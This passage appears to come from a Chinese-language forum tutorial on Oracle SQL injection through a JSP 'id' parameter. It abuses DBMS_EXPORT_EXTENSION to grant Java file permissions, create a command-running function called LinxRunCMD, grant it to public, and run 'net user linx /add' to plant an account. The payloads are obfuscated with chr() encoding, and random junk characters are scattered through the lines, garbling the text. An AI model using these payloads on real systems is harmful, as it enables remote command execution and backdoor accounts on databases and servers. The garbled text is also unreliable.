$ d9 b; W, q- }' m/ }8 ]: i! Bchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||# \' ?- X/ l; B$ H ]" T; R0 `3 x
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||$ B8 @& u$ k/ e
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||3 \" m Z( u- s. x
chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||7 a. m$ q" u, }* |
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||2 E, ?; `8 [4 D$ o* |
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||" |" [0 \! e* e7 N
chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
* m, C5 n: r& z- F' f; n# [% }) g% P* Hchr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||) l, A$ z! O* O( e o# {
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
6 B5 Q+ i, h: }0 d. |,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual* T1 ]* ~- h: k" J. D. r: E" @
+ Z- C) u8 v8 Q, Q6 A, k5 k4 ?' f)
8 h9 l; }3 H. K. H6 l9 M( N: l9 r8 h; y* {
------------------------------
, ^9 [$ d5 Z/ X& A5 u: z) I4 d& z; y! j" t
2.赋Java权限
- c( D8 | M1 A; }7 o' `$ A! ~9 w/xxx.jsp?id=1 and chr(49)<>chr(50)||(; V# y: A% ~# ~* Z2 U. T
8 K$ K3 D7 t l# Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 Y: }; k# Q1 p1 \
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 }3 r9 d$ A8 k& G+ d8 y w- K( achr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||, U; o5 ]) [. h* a
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
1 M% w a5 N. Y Z8 ]chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||
7 o3 N- T0 D# W/ rchr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||
* [: Q C) F+ v; L8 F# Y uchr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
: w9 b+ d3 [# S. P$ Z( F: ]chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
, p* U5 d* p" Z& o; L" l: ~chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||
6 h5 a. J: X6 e) {6 Lchr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)5 L. F: y5 M& {8 b M( c
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual5 b$ |7 k4 M0 y) r
* }( \- {: }/ [+ h8 v# N2 N# S
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- V* a( O( h, ?* S2 N/ n! D. breadfile函数的ascii版就不写了,见谅。
& d. L. p6 i a& q
+ \0 i% c+ M: ?) }1 q* L3.创建函数8 ?% w" @( ?( ?$ k8 R
7 r- c4 T9 D1 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),7 r/ V& n! s0 V( ~0 E
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
$ H. y' d( ^* L1 u8 \2 _chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
( O) y6 c! d Hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
3 H) D3 J: H( U) {chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
6 j8 V' x* G! B# F" Echr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||9 Z2 m* N4 X8 W( Z6 a; Q/ d
chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
# m5 M [9 D/ m8 ~. g) Vchr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||' v; k/ {+ G' l+ I/ x
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
6 b( p. I) f0 \. T4 bchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
7 s8 ~) t( d. B% l1 \% }chr(59)||chr(45)||chr(45)
8 f0 p+ C% j# {% z, u$ M+ e0 X,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual2 `$ G: p1 A& T3 k2 q% R
7 P9 C# N0 @' v0 ^3 v0 o7 C! `( @
6 K% A) p" F j4 q; L% C) v
) I; l9 }2 _( ^0 w% P& w& h4 _4.赋public执行函数的权限4 P7 B, A9 [& D" p- X
2 ?6 G. b+ z; Tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
7 g% ^7 o# b6 N4 \chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||' E4 `, E+ x) w6 e) f
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
# s8 N5 X9 b: F, a4 \" U& S5 \chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
6 b# O, D$ @! ], o: Z; V9 Q5 n0 ^chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
& ^1 u o/ W' ~) G( Lchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||1 Z; ^2 b; K* B1 \
chr(59)||chr(45)||chr(45)9 _" Y' R2 E( f5 V3 A7 o( ]% n- A
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual4 H! z* ?. W; W( ~6 G; T8 Y
g* [. S% k( F. E( i5 N0 ?$ y! e! N" e
% C, f# e0 X+ I# F v5.执行命令:' v1 t1 e$ V* R
6 w% C* K/ A. Z+ z4 p9 t/xxx.jsp?id=1 and chr(49)<>chr(32)||(- t, _- c2 B8 X( B
select sys.LinxRunCMD('cmd /c net user linx /add') from dual" q, q6 P. e! Z* ^& V
)7 h. x* Q; C' F1 _& l4 T4 O
/ a8 z4 x o6 b( i# R }即' p: F9 d8 b) c0 `
/xxx.jsp?id=1 and chr(49)<>chr(32)||(1 A6 p# B- [2 x: U
select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual
( t# P! P8 x( K)/ e& W6 W. d/ r5 L! r
|